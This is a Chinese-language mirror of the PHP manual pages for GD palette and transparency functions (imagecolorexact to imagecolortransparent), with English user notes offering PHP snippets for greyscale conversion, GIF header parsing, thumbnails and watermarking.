This function will only work on images where the palette is 256 colors or less. You also can not use imagetruecolortopalette() to reduce the palette on a true color PNG image that has greater than 256 colors in it's palette, then call this function. If you try to do this imagecolorexact() will report colors not being in the image when they are in the image!

1. works on png(s) 8bit/256 colors or less.
2. works on all gif(s)
3. does not work on any type of jpg/jpeg image.
info at educar dot pro dot br
17-Nov-2005 03:14
<?php

$src = "../images/pic.gif";

$red = 9;
$green = 9;
$blue = 4;

$pic0026 = imagecreatefromgif ( $src );

$ind = imagecolorexact ( $pic, $red, $green, $blue );

echo '<img src="../images/pic.gif" border="0" alt="pic" title="View pic" /><br /><br />';

echo "RED ( " . $red . " ) GREEN ( " . $green . " ) BLUE ( " . $blue . " )<br />-> Palette Index = " . $ind;

if ( $ind != -1 )
{
echo "<br />[ The color exists! ]";
}
else
{
echo "<br />[ The color does not exist! ]";
}

imagedestroy ( $pic );

?>
add a note add a note

后退 | 起点 | 前进
imagecolordeallocate | 上一级 | imagecolorexactalpha


imagecolorexactalpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorexactalpha -- 取得指定的颜色加透明度的索引值

说明

int imagecolorexactalpha ( resource image, int red, int green, int blue, int alpha )

返回图像调色板中指定颜色加透明度的索引值。

如果颜色不在图像的调色板中，返回 -1。 returned.

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imagecolorclosestalpha()。

add a note add a note User Contributed Notes
matt at matt-darby dot com
12-Jul-2005 09:09
Note that a color allocated with imagecolorexactalpha won't show alpha (it will be opaque) when used with imageline(). Use imagerectangle() set to your normal start and end points instead.

Ensure that the image is created via imagecreatetruecolor() as well!
phpdoc-comment at aditus dot nu
09-Nov-2002 02:01
What might be misleading in the docs is that if the specified color + alpha channel does not exist it will be created. So if you like to use an alpha channel in your image enable alpha blending and then create you color using this method.
add a note add a note

后退 | 起点 | 前进
imagecolorexact | 上一级 | imagecolormatch


imagecolormatch

(PHP 4 >= 4.3.0, PHP 5)

imagecolormatch -- 使一个图像中调色板版本的颜色与真彩色版本更能匹配

说明

bool imagecolormatch ( resource image1, resource image2 )

警告

本函数暂无文档，仅有参数列表。

image1 必须是真彩色图像，image2 必须是调色板图像，而且 image1 和 image2 的大小必须相同。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数仅在 PHP 与其捆绑的 GD 库一起编译时可用。

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imagecreatetruecolor()。

add a note add a note User Contributed Notes
albriNOght at anSPAMre dot net
13-Dec-2005 01:22
This function appears to work by changing the values of the colors of the paletted image -- no good if you're trying to force the resultant image to stick with certain pre-defined color values.
Samantha
09-Feb-2004 11:14
This function is a godsend! It works exactly as documented.

I'm working on an application where I need to take a transparent GIF, matte the GIF on a user defined background color, and finally scale the GIF based on a user defined %.

The only way I could get this to work so that the final image was high quality, ie: no jagged edges, and a smooth scale, was to convert the GIF to a JPG, and then copy the JPG into a new GIF image like this:

// open transparent gif
$GIFimg = imagecreatefromgif($file_path);

// create jpg image
$JPGimg = imagecreatetruecolor($width, $height);

// copy GIF to JPG
imagecopy($JPGimg, $GIFimg, 0, 0, 0, 0, $width, $height);

// create a true color image
$JPGscaled = imagecreatetruecolor($n_width, $n_height);

// scale the new JPG using the truecolor image
imagecopyresampled($JPGscaled, $JPGimg, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// create final GIF image
$GIFfinal = imagecreate($n_width, $n_height);

// copy the scaled JPG back to a GIF
imagecopymerge($GIFfinal, $JPGscaled, 0, 0, 0, 0, $n_width, $n_height, 100);

This worked great except the final step, copying the JPG to a GIF. If the JPG had too many colors, the function would index the colors to make it a palette image. So what would end up happening is the final image contained INCORRECT colors.

Adding this one line at the bottom of the code fixed everything.

imagecolormatch($JPGscaled, $GIFfinal);

I hope this helps anyone who is converting images back and forth and dealing with palette issues and color correction. Also, be aware that the above code is a sample and will not work by copying and pasting.
add a note add a note

后退 | 起点 | 前进
imagecolorexactalpha | 上一级 | imagecolorresolve


imagecolorresolve

(PHP 3 >= 3.0.2, PHP 4, PHP 5)

imagecolorresolve -- 取得指定颜色的索引值或有可能得到的最接近的替代值

说明

int imagecolorresolve ( resource image, int red, int green, int blue )

本函数可以保证对所请求的颜色返回一个颜色索引，要么是确切值要么是所能得到最接近的替代值。

如果从文件创建了图像，只有图像中使用了的颜色会被辨析。仅出现在调色板中的颜色不会被辨析。

参见 imagecolorclosest()。

add a note add a note User Contributed Notes
ceo at l-i-e dot com
03-Jan-2002 07:55
Okay, so sometimes it's really IMPORTANT to get the exact color you want, only it's not *IN* the Image, and ImageColorResolve just isn't "close enough".

The following code is a disgustingly gross hack, rather slow, but it does that.

$colorcount = array();
for ($x = 0; $x < $width; $x++){
   for ($y = 0; $y < $height; $y++){
       $colorindex = imagecolorat($jpg, $x, $y);
       if (!isset($colorcount[$colorindex])){
           $colorcount[$colorindex] = 1;
       }
       else{
           $colorcount[$colorindex]++;
       }
   }
}
asort($colorcount);
reset($colorcount);

$black = imagecolorexact($jpg, 0, 0, 0);
if ($black == -1){
   $goner = key($colorcount);
   $rgb = imagecolorsforindex($jpg, $goner);
   #error_log("Need black: About to kill $goner ($rgb[red], $rgb[green], $rgb[blue]) which was only used in $colorcount[$goner] pixels", 0);
   unset($colorcount[$goner]);
   imagecolordeallocate($jpg, $goner);
   $black = imagecolorallocate($jpg, 0, 0, 0);
}
if ($black == -1){
   $black = imagecolorresolve($jpg, 0, 0, 0);
   #error_log("Damn!  STILL couldn't allocate the color!", 0);
}
add a note add a note

后退 | 起点 | 前进
imagecolormatch | 上一级 | imagecolorresolvealpha


imagecolorresolvealpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorresolvealpha -- 取得指定颜色 + alpha 的索引值或有可能得到的最接近的替代值

说明

int imagecolorresolvealpha ( resource image, int red, int green, int blue, int alpha )

本函数可以保证对所请求的颜色返回一个颜色索引，要么是确切值要么是所能得到最接近的替代值。

注: 本函数需要 GD 2.0.1 或更高版本。

参见 imagecolorclosestalpha()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagecolorresolve | 上一级 | imagecolorset


imagecolorset

(PHP 3, PHP 4, PHP 5)

imagecolorset -- 给指定调色板索引设定颜色

说明

void imagecolorset ( resource image, int index, int red, int green, int blue )

本函数将调色板中指定的索引设定为指定的颜色。对于在调色板图像中创建类似区域填充（flood-fill）的效果很有用，免去了真的去填充的开销。

参见 imagecolorat()。

add a note add a note User Contributed Notes
dade dot c at email dot it
03-Oct-2004 04:47
this is helpful if you would like to implement a color theme system in your website... try it out
Davide Candiloro Italy

function colorize ($pngpath, $r, $g, $b)
/*
REQUIRES: $pngpath to be a valid path of a greyscale PNG-8 image with 64 colors palette
         $r, $g, $b to be integers in the range 0..255
EFFECTS: returns the png image colorized with the color represented by $r, $g, $b.
*/
{
   header("Content-type: image/png");
   $im = imagecreatefrompng("images/table.png");

   imagetruecolortopalette($im, FALSE, 256);

     for ($c = 0; $c < 64; $c++){ /*64 is the number of colors in the PNG-8 palette*/
       $col = imagecolorsforindex($im, $c);
       imagecolorset ( $im, $c, $r*$col['red']/256, $g*$col['green']/256, $b*$col['blue']/256); /*replaces original greyscale palette with a colorized one*/
     }

   imagepng($im);
   imagedestroy($im);
}
m4551 at abasoft dot it
24-Apr-2004 12:19
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
   if (!($t = imagecolorstotal($img))) {
       $t = 256;
       imagetruecolortopalette($img, $dither, $t);
   }
   for ($c = 0; $c < $t; $c++) {
       $col = imagecolorsforindex($img, $c);
       $min = min($col['red'],$col['green'],$col['blue']);
       $max = max($col['red'],$col['green'],$col['blue']);
       $i = ($max+$min)/2;
       imagecolorset($img, $c, $i, $i, $i);
   }
}
info at devking dot com
09-Aug-2002 05:20
here's a simple function to greyscale an image...

function imagecolorgrey( &$img ) {
 for( $i=0; $i<imagecolorstotal( $img ); $i++ ) {
  $c = ImageColorsForIndex( $img, $i );
  $t = ($c["red"]+$c["green"]+$c["blue"])/3;
  imagecolorset( $img, $i, $t, $t, $t );
 }
}
olivier at moostik dot net
12-Jul-2001 08:49
This function change colors of an image with ranges 0>100 for each primary color:

int ImageSelectiveColor (int im, int red, int green, int blue)

im is image pointer
red, green and blue are ranges 0->100

function ImageSelectiveColor($im,$red,$green,$blue)
 {
  for($i=0;$i<imagecolorstotal($im);$i++)
   {
   $col=ImageColorsForIndex($im,$i);
   $red_set=$red/100*$col['red'];
   $green_set=$green/100*$col['green'];
   $blue_set=$blue/100*$col['blue'];
   if($red_set>255)$red_set=255;
   if($green_set>255)$green_set=255;
   if($blue_set>255)$blue_set=255;
   imagecolorset($im,$i,$red_set,$green_set,$blue_set);

   }
  return $im;

 }
add a note add a note

后退 | 起点 | 前进
imagecolorresolvealpha | 上一级 | imagecolorsforindex


imagecolorsforindex

(PHP 3, PHP 4, PHP 5)

imagecolorsforindex -- 取得某索引的颜色

说明

array imagecolorsforindex ( resource image, int index )

本函数返回一个具有 red，green，blue 和 alpha 的键名的关联数组，包含了指定颜色索引的相应的值。

例子 1. imagecolorsforindex() 例子

<?php

// 打开一幅图像
$im = imagecreatefrompng('nexen.png');

// 取得一点的颜色
$start_x = 40;
$start_y = 50;
$color_index = imagecolorat($im, $start_x, $start_y);

// 使其可读
$color_tran = imagecolorsforindex($im, $color_index);

// 显示该颜色的值
echo '<pre>';
print_r($color_tran);
echo '</pre>';

?>

本例将输出：

Array
(
    [red] => 226
    [green] => 222
    [blue] => 252
    [alpha] => 0
)

参见 imagecolorat() 和 imagecolorexact()。

add a note add a note User Contributed Notes
adspeed.com
24-Aug-2005 07:05
To correct m4551 at abasoft dot it example:

ImageTrueColorToPalette($im,1,$t);

might give less colors than $t, so the for loop should call "$i<ImageColorsTotal($im)" instead of "$i<$t" just to be sure, or you'll get the warning: Color index [0-9] out of range
strozek(a)deas()harvard()edu
26-Jun-2004 04:32
Regarding m4551's method of conversion -- the actual CCIR-approved RGB-to-grayscale conversion is as follows:

grayscale component = 0.2125*R + 0.7154*G + 0.0721*B

(cf. CCIR Recommendation 709 for modern monitors)
m4551 at abasoft dot it
24-Apr-2004 12:23
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
   if (!($t = imagecolorstotal($img))) {
       $t = 256;
       imagetruecolortopalette($img, $dither, $t);
   }
   for ($c = 0; $c < $t; $c++) {
       $col = imagecolorsforindex($img, $c);
       $min = min($col['red'],$col['green'],$col['blue']);
       $max = max($col['red'],$col['green'],$col['blue']);
       $i = ($max+$min)/2;
       imagecolorset($img, $c, $i, $i, $i);
   }
}
add a note add a note

后退 | 起点 | 前进
imagecolorset | 上一级 | imagecolorstotal


imagecolorstotal

(PHP 3, PHP 4, PHP 5)

imagecolorstotal -- 取得一幅图像的调色板中颜色的数目

说明

int imagecolorstotal ( resource image )

本函数返回指定图像的调色板中的颜色数目。

参见 imagecolorat() 和 imagecolorsforindex()。

add a note add a note User Contributed Notes
black-eye at web dot de
01-Nov-2003 11:34
I created a function to count the colors in a .gif file automatically. Works perfect on Win2k Servers

<?PHP
function bildinfo($bild)
{
/*
******* FUNCTION BILDINFO() ******* ******* ******* *******
******* ******* ******* ******* ******* ******* ******* *******
******* Copyright 2003 by www.BLACKEYE.org ******* *******
******* ******* ******* ******* ******* ******* ******* *******
Please don't change the copyright in this file. You can modify
this file, but NEVER remove the copyright !
If YOU were the creator of this function, you would say the
same, eh ? :)

For more informations / How to use:
HOMEPAGE: www.blackeye.org
******* ******* ******* ******* ******* ******* ******* *******
*/
$fp = fopen($bild, "rb"); // Open image in binary mode (for windows)
$f = fread($fp, filesize($bild));
$c = bin2hex($f); // Binary file -> Hex
$c = ereg_replace("5c30", "0000", $c); // In gif-files "5c30" stands for real "00" values. why ? i dont know
$b = $c;

$pos = strpos($c, "fe0102"); // 6 Byte termination for the color table
if ($pos > 0)
{
$c = substr($c, 26);
$c = substr($c, 0, strpos($c, "fe0102")); // Termination for the color table of non-transparent images
}
else
{
$c = substr($c, 26);
$c = substr($c, 0, strpos($c, "21f904")); // Termination for the color table
}

echo "<table border='0'>";

$i = 0;
$y = 0;
$str = "";
$pix = chunk_split($c, 6, ";"); // 6 Char long block (color)
$pix = explode(";",$pix);
sort($pix);
foreach($pix as $col)
{
if ($col && !ereg($col.";", $str) && strlen($col) == 6) // So that no color is twice in the list
{
$str .= $col.";";
$i++; // Fr die Table anzeige
$y++; // Anzahl Farben
if ($i == 1) { echo ""; }
echo "<td width='6' height='8' bgcolor='#$col' style='border:1px solid #000000;font-size:1px;' title='2003 by www.BLACKEYE.org'>";
echo " ";
echo "</td>";
if ($i == 10)
{
echo ""; $i = 0;
}
}
}

echo "</table>";
echo $y." visible colors";
}

$bild = ""; // Imagefile
bildinfo($bild);
?>
Only copy & paste this text into your .php file, where you want to show the image.
add a note add a note

后退 | 起点 | 前进
imagecolorsforindex | 上一级 | imagecolortransparent


imagecolortransparent

(PHP 3, PHP 4, PHP 5)

imagecolortransparent -- 将某个颜色定义为透明色

说明

int imagecolortransparent ( resource image [, int color] )

imagecolortransparent() 将 image 图像中的透明色设定为 color。image 是 imagecreatetruecolor() 返回的图像标识符，color 是 imagecolorallocate() 返回的颜色标识符。

注: 透明色是图像的一种属性，透明度不是颜色的属性。一旦设定了某个颜色为透明色，图像中之前画为该色的任何区域都成为透明的。

返回新透明色的标识符，如果省略 color 则返回当前透明色的标识符。

注: 透明度仅能通过 imagecopymerge() 和真彩色图像拷贝，不能用 imagecopy() 或调色板图像。

add a note add a note User Contributed Notes
Joachim Kruyswijk
20-Oct-2005 07:20
A negative color number will turn antialiasing off, but even a positive number chosen for transparency may affect antialiasing. If the text (created with imagettftext) in your image looks horrible, try using a higher color number.
contact at wdschools dot com
20-Oct-2005 12:02
Transparent GIF w/ text from TTF Font
-------------------------------------
$image = imagecreatetruecolor(192, 36);
$trans_color = imagecolorallocate($image, 255, 0, 0);
$color = imagecolorallocate($image, 255, 255, 255);
imagecolortransparent($image, $trans_color);
imagettftext($image, 10, 0, 10, 23, $color, "impact.ttf", " MENU ITEM");
imagegif($image, "output.gif");
imagedestroy($image);
ingrid
10-Jun-2005 12:37
This script should take an animated GIF whit a white background transparancy, put some white=transparant text on it, and can be used in any page using the filename and the normal image tags.

Everything works well, exept the animation. The GIF animation stands still. Don't know how to keep the animation  animated. Is it possible in PHP?

<?php

$TextFile = "teller.txt";
$Count = trim(file_get_contents($TextFile));
$FP = fopen($TextFile, "r");
$Count=fgets($FP, 4096);
fclose ($FP);
settype($Count, "integer");
$Count++;
if ($FP = fopen ($TextFile, "w")){
fwrite ($FP, $Count);
fclose ($FP);
}

$image = "blad.gif";
$im    = imagecreatefromgif($image);
$white = imageColorAllocate ($im, 255, 255, 255);
$trans = imagecolortransparent($im,$white);
$hit = "$Count";
$ip = $_SERVER["REMOTE_ADDR"];

ImageString($im, 2, 30, 60,  " je bent bezoeker ", $white);
ImageString($im, 3, 20, 80, " $ip.$hit", $trans);

header("Content-Type: image/gif");
Imagegif($im,'',100);
ImageDestroy ($im);

?>
thomas at nindel dot net
21-Apr-2005 01:02
I wanted to have non-rectangular images being displayed on various website-backgrounds. piece of cake with png-24 and sane browsers, but not with IE. GIF-files are useless since they tend to have ugly edges.

So that's what i came up with, a script to merge a given PNG-24 against a background-image. The script only merges areas of partial transparency (think anti-aliased edges) of the PNG onto the background-image, leaving 100% transparent areas as they are. output is a 256-color gif with transparency.

<?PHP
  function alphaishMerge(&$img_unten, &$img_oben, &$transCol) {
   $sx = imagesx($img_unten);
   $sy = imagesy($img_oben);

   // just be sure
   imagealphablending($img_unten, TRUE);
   imagealphablending($img_oben, TRUE);

   // imagecopy respects alpha channels
   imagecopy($img_unten, $img_oben, 0, 0, 0, 0, $sx, $sy);

   for ($x = 0; $x < $sx; $x++) {
     for ($y = 0; $y < $sy; $y++) {

       // get RGBA of upper image
       $pxloben = imagecolorat($img_oben, $x, $y);
       $pxloben = imagecolorsforindex($img_oben, $pxloben);

       if ($pxloben['alpha'] == 127) {
         // if this pixel is fully transparent...
         // ...set it to the transparent color
         imagesetpixel($img_unten,$x,$y,$transCol);
       }
     }
   }
  }

  // images have to be the same size
  $bg_file = "background.jpg";
  $png_file ="kauscha.png";

  // background-image (jpg)
  $img_bg = imagecreatefromjpeg($bg_file);

  // image which is supposed to be put on the background (PNG-24)
  $img_png = imagecreatefrompng($png_file);

  // This color is the one getting transparent in the gif-file
  $transCol = imagecolorallocate($img_bg, 0, 0, 0);

  // magic
  alphaishMerge($img_bg, $img_png, $transCol);

  // reduce color depth
  imagetruecolortopalette($img_bg, FALSE, 255);

  // make it transparent
  $transCol = imagecolortransparent($img_bg, $transCol);

  header("Content-type: image/gif");
  imagegif($img_bg);
?>

i hope thats useful for anyone.
partyheld at HATESPAMgmail dot com
01-Apr-2005 01:35
Fred wrote:
<?php
$file['signatur']=      substr($result,0,3);
             $file['version']=        substr($result,3,3);
             $file['width']=          ord(substr($result,6,1))+ord(substr($result,7,1))*256;
             $file['height']=        ord(substr($result,8,1))+ord(substr($rsult,9,1))*256;
             $file['flag']=          ord(substr($result,10,1))>>7;
             $file['trans_red']=      ord(substr($result,ord(substr($result,11))*3,1));
             $file['trans_green']=    ord(substr($result,ord(substr($result,11))*3+1,1));
             $file['trans_blue']=    ord(substr($result,ord(substr($result,11))*3+2,1)) ;
?>

You should write such code like this:

<?php
   $file = array(
     "signatur"          => substr ($result, 0, 3),
     "version"            => substr ($result, 3, 3),
     "width"              => ord (substr ($result, 6, 1)) + ord (substr ($result, 7, 1)) * 256,
     "height"            => ord (substr ($result, 8, 1)) + ord(substr ($result, 9, 1)) * 256,
     "flag"              => ord (substr ($result, 10, 1)) >> 7,
     "trans_red"          => ord (substr ($result, ord (substr ($result, 11)) * 3,1)),
     "trans_green"        => ord (substr ($result, ord (substr($result, 11)) * 3 + 1, 1)),
     "trans_blue"        => ord (substr ($result, ord (substr($result, 11)) * 3 + 2, 1))
     );
?>

And there's a typo in line 4, sayin "rsult" instead of "result". I've got no time for checking your code any further, sorry.
raiserle
29-Mar-2005 12:52
it goes also more simply
i rather work with arrays
<?php
if(!function_exists('gif_info'))
{
   function gif_info($filename)
   {
             $fp=                    fopen($filename,'rb');
             $result=                fread($fp,13);
             $file['signatur']=      substr($result,0,3);
             $file['version']=        substr($result,3,3);
             $file['width']=          ord(substr($result,6,1))+ord(substr($result,7,1))*256;
             $file['height']=        ord(substr($result,8,1))+ord(substr($rsult,9,1))*256;
             $file['flag']=          ord(substr($result,10,1))>>7;
             $file['trans_red']=      ord(substr($result,ord(substr($result,11))*3,1));
             $file['trans_green']=    ord(substr($result,ord(substr($result,11))*3+1,1));
             $file['trans_blue']=    ord(substr($result,ord(substr($result,11))*3+2,1)) ;
             fclose($fp);
             return $file;
   }
}
print_r(gif_info($_FILES['files']['temp_name']));
?>
talkback at codesponge dot com
17-Mar-2005 07:41
Only one color may be transparent in one image.  The last call to imagecolortransparent will be the color that is set to transparent.

I am processing button images that have a slightly different fill color than the background color outside the border of the button. I was hoping that I could just make both of those colors transparent and solve the problem.

Hope this tidbit of info will save you some time.
fred at webblake dot net
15-Jan-2005 12:17
Wow! I am actually surprized there are no functions to retrieve transparency information from the image. I assume I'm not missing anything since there are all kinds of notes about how to get around this limitation. At any rate, here is some code to read the gif file and retrieve the missing information. The code will speak volumes.

<?php

   class GifInfo
   {
       var $m_transparentRed;
       var $m_transparentGreen;
       var $m_transparentBlue;
       var $m_signature;
       var $m_version;
       var $m_width;
       var $m_height;
       var $m_width;
       var $m_height;
       var $m_colorFlag;
       var $m_backgroundIndex;

       function GifInfo($filename)
       {

           $fp                        = fopen($filename,"rb");
           $result                    = fread($fp,13);
           $this->m_signature    = substr($result,0,3);
           $this->m_version        = substr($result,3,3);
           $this->m_width        = ord(substr($result,6,1)) + ord(substr($result,7,1)) * 256;
           $this->m_height        = ord(substr($result,8,1)) + ord(substr($result,9,1)) * 256;
           $this->m_colorFlag    = ord(substr($result,10,1)) >> 7;
           $this->m_background    = ord(substr($result,11));

           if($this->m_colorFlag)
           {
               $tableSizeNeeded = ($this->m_background + 1) * 3;
               $result = fread($fp,$tableSizeNeeded);
               $this->m_transparentRed    = ord(substr($result,$this->m_background * 3,1));
               $this->m_transparentGreen    = ord(substr($result,$this->m_background * 3 + 1,1));
               $this->m_transparentBlue    = ord(substr($result,$this->m_background * 3 + 2,1));
           }
           fclose($fp);
       }
   }
?>

And to use this class....

<?php
   $size = getimagesize($userfile);

   $img2 = ImageCreate($w,$h);
   $gi = new GifInfo($userfile);

   if($gi->m_version == '89a' && $gi->m_colorFlag == 1)
   {
     $transparent = imagecolorallocate($img2,
     $gi->m_transparentRed,
     $gi->m_transparentGreen,
     $gi->m_transparentBlue);

     imagecolortransparent ($img2,$transparent);
   }
?>
webmaster at webnetwizard dotco dotuk
12-Jan-2005 05:24
I'm feeling particularly altruistic today, so here is the code to accompany the text I submitted about a script that 'intelligently' detects if an uploaded GIF has transparency or not, and creates a thumbnail accordingly:

   if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
   {
     $note = "Image was successfully uploaded.\n";
     // Now create thumbnail version of the uploaded image and save it to
     // folder "$fixPath/images/thumbs". First, we need to create a
     // resource "handle" for a copy of the uploaded image
     $img_error = false;
     list($width, $height, $type) = getimagesize($uploadfile);
     switch($type) // Allowed types: image/gif,image/jpeg,image/x-png
     {
       case 1: // GIF
         $src = @imagecreatefromgif($uploadfile);
         if (!$src)
           $img_error = true;
         break;
       case 2: // JPEG
         .
         .
         .
     case 3: // PNG
       .
       .
       .
       default:
         $img_error = true;
     }
     // resource handle for source image now in $src
     // Now calculate scaling factor and put in $sf
     if(!$img_error)
     {
       if($width >= $height && $width > 100)
         $sf = $width / 100;
       elseif($height > 100)
         $sf = $height / 100;
       else
         $sf = 1;
       $newwidth = intval($width / $sf);
       $newheight = intval($height / $sf);

       switch($type) // Allowed types: image/gif,image/jpeg,image/x-png
       {
         case 1: // GIF
           $tpcolor = imagecolorat($src, 0, 0);
           // in the real world, you'd better test all four corners, not just one!
           $dest = imagecreate($newwidth, $newheight);
           // $dest automatically has a black fill...
           imagepalettecopy($dest, $src);
           imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth, $newheight,
             $width, $height);
           $pixel_over_black = imagecolorat($dest, 0, 0);
           // ...but now make the fill white...
           $bg = imagecolorallocate($dest, 255, 255, 255);
           imagefilledrectangle($dest, 0, 0, $newwidth, $newheight,
             $bg);
           imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth, $newheight,
             $width, $height);
           $pixel_over_white = imagecolorat($dest, 0, 0);
           // ...to test if transparency causes the fill color to show through:
           if($pixel_over_black != $pixel_over_white)
           {
             // Background IS transparent
             imagefilledrectangle($dest, 0, 0, $newwidth, $newheight,
               $tpcolor);
             imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth,
               $newheight, $width, $height);
             imagecolortransparent($dest, $tpcolor);
             imagegif($dest, "$fixPath/images/thumbs/$userfile");
           }
           else // Background (most probably) NOT transparent
             imagegif($dest, "$fixPath/images/thumbs/$userfile");
           break;
         case 2: // JPEG
         .
         .
         .
         case 3: // PNG
         .
         .
         .
           break;
       }
       imagedestroy($src);
       imagedestroy($dest);
     }
     else
       $note = "Error: Uploaded image but could not create thumbnail";
     header("location: $fixPath/index.php?next=$next&nb=$nb&userfile=$userfile");
   }
   else
     $note = "Could not find anything to upload\n";
webmaster at webnetwizard dotco dotuk
11-Jan-2005 10:09
After much devious mindbending, I have found a way to test any GIF for presence of background transparency. This ability is essential for my application which uploads any of GIF, JPEG or PNG and simultaneously creates a thumbnail of identical image type and identical filename (full size and thumbnail versions being stored in different folders).
After uploading and moving the image in the usual way, a switch($image_type) statement ensures that the optimum code is used to generate the thumbnail; regardless of image type.
The problem with the GIF type is that those with transparent backgrounds need to be treated differently to those without. When I don't detect GIF transparency, I either end up with all transparent GIF's having black backgrounds, or all GIF's get converted to transparent background - even if they weren't transparent in the original.
But how to detect transparency in the original? It finally occurred to me that I could test for transparency programmatically by overlaying a copy of the original image over an all-black image, record the color value at particular pixel locations and then repeat the process by overlaying a copy of the original image over an all-white image, recording the color values at identical pixel locations and comparing these with the first set of values.
If the two sets of values correlate exactly, and if sensible sampling points are used, the image can be treated as non-transparent. If the two sets of values show differences, the image should be treated as having a transparent background.
emilus at galeria-m dot art dot pl
01-Oct-2004 05:02
To resize or copy image (gif [with gd>=2.0.28] or png) with transparency.
-Take current transparency color
-create a new image with palette like old one and fill new image with transparent color
-set transparent color
-copy resized image

$colorTransparent = imagecolortransparent($im);
$im2 = imagecreate($new_w,$new_h);
imagepalettecopy($im2,$im);
imagefill($im2,0,0,$colorTransparent);
imagecolortransparent($im2, $colorTransparent);
imagecopyresized($im2,$im,0,0,0,0,$new_w,$new_h,$imsx,$imsy);
php_comment et 5mm de
28-Sep-2004 01:02
In fact this function can be used for two purposes:

A.) to work with transparency while dealing with images in php (see watermark example)

B.) to create a partially transparent picture

For A.) one can work with truecolor images with some regulations, but B.) can only be used with palette-based images (= indexed = created with imagecreate not imagecreatetruecolor) and formats that support transparency (png, gif).

For instance if you want to cut out a color out of a give picture that is in truecolor, use the following method to first convert it to palette-based image, assign the transparency and give it to the browser as png:

<?
$img = imagecreatefromjpeg('test.jpg');
imagetruecolortopalette($img, false, 256); // convert

$white = imagecolorresolve($img, 255, 255, 255); // resolve given palette entry
imagecolortransparent($img, $white);

header("Content-type: image/png");
imagepng($img);
?>
shelley_hina at yahoo dot com
05-Mar-2004 03:35
It took me a while to figure this out. I added visual web thumbnail preview graphic from http://www.thumbshots.org and http://www.thumbshots.com to my customer sites to visualize web pages. Then I needed to create a small blank transparent PNG image if the thumbshot is not available. You can do this easily using imagecolortransparent function. It came out really nice and fast. It's very cool stuff and highly recommended library for all your web site needs!

// Use GD library to create transparent color PNG image of the pixel size
$ImgGD = imagecreate(120, 90);
$ImgWhite = imagecolorallocate($ImgGD, 255, 255, 255);
imagefill($ImgGD, 0, 0, $ImgWhite);
imagecolortransparent($ImgGD, $ImgWhite);

// Capture STDOUT to buffer
ob_start();
imagepng($ImgGD);
$Image = ob_get_contents();
ob_end_clean();

// Remember to free your memory
imagedestroy($ImgGD);

// Print image to web browser.
print $Image
php at kybert dot com
14-Nov-2003 09:30
i had problems with the example by sandhawk at spies dot com because my png overlay, and the jpeg canvas were using different color depths, so, this function corrects this:

[code]
function WatermarkImage($CanvasImage, $WatermarkImage /* MUST BE PHG */, $Opacity=10, $Quality=75)
{
   // create true color canvas image:
   $canvas_src = imagecreatefromjpeg($CanvasImage);
   $canvas_w = ImageSX($canvas_src);
   $canvas_h = ImageSY($canvas_src);
   $canvas_img = imagecreatetruecolor($canvas_w, $canvas_h);
   imagecopy($canvas_img, $canvas_src, 0,0,0,0, $canvas_w, $canvas_h);
   imagedestroy($canvas_src);    // no longer needed

   // create true color overlay image:
   $overlay_src = imagecreatefrompng($WatermarkImage);
   $overlay_w = ImageSX($overlay_src);
   $overlay_h = ImageSY($overlay_src);
   $overlay_img = imagecreatetruecolor($overlay_w, $overlay_h);
   imagecopy($overlay_img, $overlay_src, 0,0,0,0, $overlay_w, $overlay_h);
   imagedestroy($overlay_src);    // no longer needed

   // setup transparent color (pick one):
   $black  = imagecolorallocate($overlay_img, 0x00, 0x00, 0x00);
   $white  = imagecolorallocate($overlay_img, 0xFF, 0xFF, 0xFF);
   $magenta = imagecolorallocate($overlay_img, 0xFF, 0x00, 0xFF);
   // and use it here:
   imagecolortransparent($overlay_img, $white);

   // copy and merge the overlay image and the canvas image:
   imagecopymerge($canvas_img, $overlay_img, 0,0,0,0, $overlay_w, $overlay_h, $Opacity);

   // output:
   header("Content-type: image/jpeg");
   imagejpeg($canvas_img, '', $Quality);

   imagedestroy($overlay_img);
   imagedestroy($canvas_img);
}

// call function with opcity set to 50% and 95% quality
WatermarkImage("canvas.jpg", "overlay.png", 50, 95);

[/code]
creator79>>web>>de
09-Oct-2003 09:44
Hi!
I'm using GDLib 1.6.3 so far I know.
You can have transparency on any defined color on any image type when using the imagecolorclosest($im, $R, $G, $B) function instead of imagecolorallocate() or imagecolorexact().
calar at gamigo dot de
02-Aug-2003 09:53
ok some works...

i had a test-sytem with GDLib, phpinfo shows me this version:
"GD Version  2.0 or higher" so far no porblems with: imageColorTransparent

Then we had to copy ouer codes to another sever on this server phpinfo shots me version:
"GD Version  bundled (2.0.12 compatible)"

The jpg was wrong and nothing was transparent.
The point is, you have to use: imagecopymerge

Don't if its true on any system just work on
SUSE 8.2
PHP 4.3.2
cladiniz at zipmail dot com dot br
18-Mar-2003 10:19
If you have a transparent PNG , in PHP 4.3.1 , GD 2.0 , you don't need to set the transparency anymore , it's automatic ...
sandhawk at spies dot com
06-Mar-2003 03:04
here's a little snippet of code that i got for getting images to overlay with transparency(based off text overlay above).

$olay_img = imagecreatefromPNG("overlay.png); //NOTE I recomment you use png for this, artifacts from jpeg images can look bad when you overlay them
$src_img = ImageCreateFromJPEG("image.jpg");
$src_w = ImageSX($src_img);
$src_h = ImageSY($src_img);

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($olay_img, 0, 0, 0);

ImageColorTransparent($olay_img, $black);

imagecopy($can_img, $src_img, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $olay_img, 0,0,0,0, ImageSX($olay_img), ImageSY($olay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,'',100);

imagedestroy($src_img);
imagedestroy($olay_img);
imagedestroy($can_img);
Jonatan
31-Dec-2002 02:35
